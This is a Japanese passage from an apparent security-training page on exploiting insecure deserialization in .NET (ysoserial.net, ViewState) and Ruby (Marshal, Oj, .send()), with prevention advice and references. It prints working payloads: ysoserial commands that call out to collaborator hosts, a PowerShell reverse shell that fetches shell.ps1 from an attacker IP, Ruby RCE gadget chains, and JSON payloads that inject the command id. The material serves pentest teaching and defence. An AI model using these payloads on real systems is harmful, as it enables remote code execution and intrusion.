検索は、Base64エンコードされた文字列AAEAAAD/////またはサーバー側でデシリアライズされる可能性のある類似のパターンをターゲットにする必要があります。これにより、デシリアライズされる型を制御できるようになります。これには、TypeObjectや$typeを含むがこれに限定されないJSONまたはXML構造が含まれる可能性があります。
ysoserial.net
この場合、ツールysoserial.netを使用してデシリアライズの悪用を作成することができます。gitリポジトリをダウンロードしたら、Visual Studioなどを使用してツールをコンパイルする必要があります。
ysoserial.netがどのように悪用を作成するかについて学びたい場合は、ObjectDataProviderガジェット + ExpandedWrapper + Json.Netフォーマッタについて説明されているこのページを確認してください。
ysoserial.netの主なオプションは、--gadget、--formatter、--output、および**--plugin**です。
- **
--gadget**は、悪用するガジェットを示すために使用されます(デシリアライズ中にコマンドを実行するために悪用されるクラス/関数を示します)。 - **
--formatter**は、悪用をシリアライズする方法を示すために使用されます(ペイロードをデシリアライズするためにバックエンドが使用しているライブラリを知り、それを使用してシリアライズする必要があります)。 --outputは、悪用を生またはbase64エンコードで取得したいかどうかを示すために使用されます。注意してください、ysoserial.netはペイロードをUTF-16LE(Windowsでデフォルトで使用されるエンコーディング)を使用してエンコードするため、生のペイロードを取得してLinuxコンソールからエンコードすると、悪用が正しく機能しないエンコーディングの互換性の問題が発生する可能性があります(HTB JSONボックスではペイロードはUTF-16LEとASCIIの両方で機能しましたが、これは常に機能するとは限りません)。--pluginysoserial.netは、ViewStateのような特定のフレームワーク用の悪用を作成するためのプラグインをサポートしています。
追加のysoserial.netパラメータ
--minifyは小さいペイロードを提供します(可能な場合)。--raf -f Json.Net -c "anything"これは、提供されたフォーマッタ(この場合はJson.Net)で使用できるすべてのガジェットを示します。--sf xmlはガジェット(-g)を示すことができ、ysoserial.netは「xml」を含むフォーマッタを検索します(大文字と小文字を区別しない)。
ysoserialの例を使用して悪用を作成します:
#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server
#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64
#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
ysoserial.net には、各エクスプロイトがどのように機能するかをよりよく理解するのに役立つ 非常に興味深いパラメータ があります: --test
このパラメータを指定すると、 ysoserial.net は ローカルでエクスプロイトを試みます ので、ペイロードが正しく機能するかどうかをテストできます。
このパラメータは便利です。なぜなら、コードをレビューすると、次のようなコードの断片が見つかるからです (from ObjectDataProviderGenerator.cs):
if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
これは、エクスプロイトをテストするためにコードが serializersHelper.JsonNet_deserialize を呼び出すことを意味します。
public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}
前のコードは作成されたエクスプロイトに対して脆弱です。したがって、.Netアプリケーションで同様のものを見つけた場合、そのアプリケーションも脆弱である可能性があります。
そのため、--testパラメータは、ysoserial.netが作成できるデシリアライズエクスプロイトに対してどのコードのチャンクが脆弱であるかを理解するのに役立ちます。
ViewState
.Netの__ViewStateパラメータをエクスプロイトする方法についてのこのPOSTを見てください 任意のコードを実行するために。 もしあなたが被害者のマシンで使用されている秘密をすでに知っているなら、コードを実行する方法を知るためにこの投稿を読んでください。**
Prevention
.Netにおけるデシリアライズに関連するリスクを軽減するために:
- データストリームにオブジェクトタイプを定義させないようにします。 可能な場合は
DataContractSerializerまたはXmlSerializerを利用してください。 JSON.Netの場合、TypeNameHandlingをNoneに設定します: %%%TypeNameHandling = TypeNameHandling.None%%%JavaScriptSerializerをJavaScriptTypeResolverと一緒に使用しないでください。- デシリアライズ可能なタイプを制限し、
System.IO.FileInfoのような.Netタイプに内在するリスクを理解します。これはサーバーファイルのプロパティを変更し、サービス拒否攻撃を引き起こす可能性があります。 - リスクのあるプロパティを持つタイプに注意してください。 例えば、
System.ComponentModel.DataAnnotations.ValidationExceptionのValueプロパティは悪用される可能性があります。 - 攻撃者がデシリアライズプロセスに影響を与えないように、タイプのインスタンス化を安全に制御します。これにより、
DataContractSerializerやXmlSerializerでさえ脆弱になります。 BinaryFormatterとJSON.NetのためにカスタムSerializationBinderを使用してホワイトリスト制御を実装します。- .Net内の既知の不安全なデシリアライズガジェットについて情報を得て、デシリアライザがそのようなタイプをインスタンス化しないようにします。
- インターネットアクセスのあるコードから潜在的にリスクのあるコードを隔離し、WPFアプリケーションの
System.Windows.Data.ObjectDataProviderのような既知のガジェットを信頼できないデータソースにさらさないようにします。
References
- Javaと.NetのJSONデシリアライズに関する論文: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**、**トーク: https://www.youtube.com/watch?v=oUAeWhW5b8c とスライド: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp
- https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf
- https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization
Ruby
Rubyでは、シリアル化はmarshalライブラリ内の2つのメソッドによって行われます。最初のメソッドはdumpと呼ばれ、オブジェクトをバイトストリームに変換するために使用されます。このプロセスはシリアル化と呼ばれます。逆に、2番目のメソッドloadは、バイトストリームをオブジェクトに戻すために使用され、このプロセスはデシリアライズと呼ばれます。
シリアル化されたオブジェクトを保護するために、RubyはHMAC(Hash-Based Message Authentication Code)を使用してデータの整合性と真正性を確保します。この目的のために使用されるキーは、いくつかの可能な場所のいずれかに保存されます:
config/environment.rbconfig/initializers/secret_token.rbconfig/secrets.yml/proc/self/environ
Ruby 2.Xの一般的なデシリアライズからRCEガジェットチェーン(詳細は https://www.elttam.com/blog/ruby-deserialization/):
#!/usr/bin/env ruby
# Code from https://www.elttam.com/blog/ruby-deserialization/
class Gem::StubSpecification
def initialize; end
end
stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"
puts "STEP n"
stub_specification.name rescue nil
puts
class Gem::Source::SpecificFile
def initialize; end
end
specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)
other_specific_file = Gem::Source::SpecificFile.new
puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts
$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
puts "STEP n-2"
$dependency_list.each{} rescue nil
puts
class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end
payload = Marshal.dump(Gem::Requirement.new)
puts "STEP n-3"
Marshal.load(payload) rescue nil
puts
puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end
puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts
require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
他のRCEチェーンを利用してRuby On Railsを攻撃する: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/
Ruby .send() メソッド
この脆弱性レポートで説明されているように、ユーザーの未サニタイズ入力がrubyオブジェクトの.send()メソッドに到達すると、このメソッドはオブジェクトの任意の他のメソッドを任意のパラメータで呼び出すことを許可します。
例えば、evalを呼び出し、次にrubyコードを第二パラメータとして渡すことで、任意のコードを実行することができます:
<Object>.send('eval', '<user input with Ruby code>') == RCE
さらに、.send() のパラメータが攻撃者によって制御されている場合、前の記述で述べたように、引数を必要としないか、デフォルト値を持つ引数を持つオブジェクトの任意のメソッドを呼び出すことが可能です。
これを行うために、オブジェクトのすべてのメソッドを列挙して、その要件を満たす興味深いメソッドを見つけることができます。
<Object>.send('<user_input>')
# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1) # get first repo
repo_methods = [ # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()
repo_methods.length() # Initial number of methods => 5542
## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595
Rubyクラス汚染
ここでRubyクラスを汚染し、悪用する方法を確認してください。
Ruby _json汚染
ボディに配列のようなハッシュ化できない値を送信すると、それらは_jsonという新しいキーに追加されます。しかし、攻撃者はボディに任意の値を持つ_jsonという値を設定することも可能です。例えば、バックエンドがパラメータの真偽をチェックし、その後_jsonパラメータを使用して何らかのアクションを実行する場合、認証バイパスが行われる可能性があります。
Ruby _json汚染ページで詳細情報を確認してください。
その他のライブラリ
この技術はこのブログ投稿から取得されました。
オブジェクトをシリアライズするために使用できる他のRubyライブラリがあり、それらは不安全なデシリアライズ中にRCEを得るために悪用される可能性があります。以下の表は、これらのライブラリのいくつかと、それがデシリアライズされる際に呼び出されるメソッドを示しています(基本的にRCEを得るために悪用する関数):
| ライブラリ | 入力データ | クラス内のキックオフメソッド |
| Marshal (Ruby) | バイナリ | _load |
| Oj | JSON | hash (クラスはハッシュ(マップ)のキーとして配置する必要があります) |
| Ox | XML | hash (クラスはハッシュ(マップ)のキーとして配置する必要があります) |
| Psych (Ruby) | YAML | hash (クラスはハッシュ(マップ)のキーとして配置する必要があります)init_with |
| JSON (Ruby) | JSON | json_create ([json_createに関するノートを参照](#table-vulnerable-sinks)) |
基本的な例:
# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end
def hash
system(@cmd)
end
end
# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload
# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)
Ojを悪用しようとした場合、hash関数内でto_sを呼び出すガジェットクラスを見つけることができました。これにより、specが呼び出され、fetch_pathが呼び出され、ランダムなURLを取得することが可能になり、これらの未サニタイズのデシリアライズ脆弱性の優れた検出器を提供しました。
{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport",
"path": "/",
"user": "anyuser",
"password": "anypw"
}
さらに、前述の技術を使用すると、システムにフォルダーが作成されることがわかりました。これは、別のガジェットを悪用してこれを完全なRCEに変換するための要件です。
{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}
詳細については、元の投稿を確認してください。
{{#include ../../banners/hacktricks-training.md}}



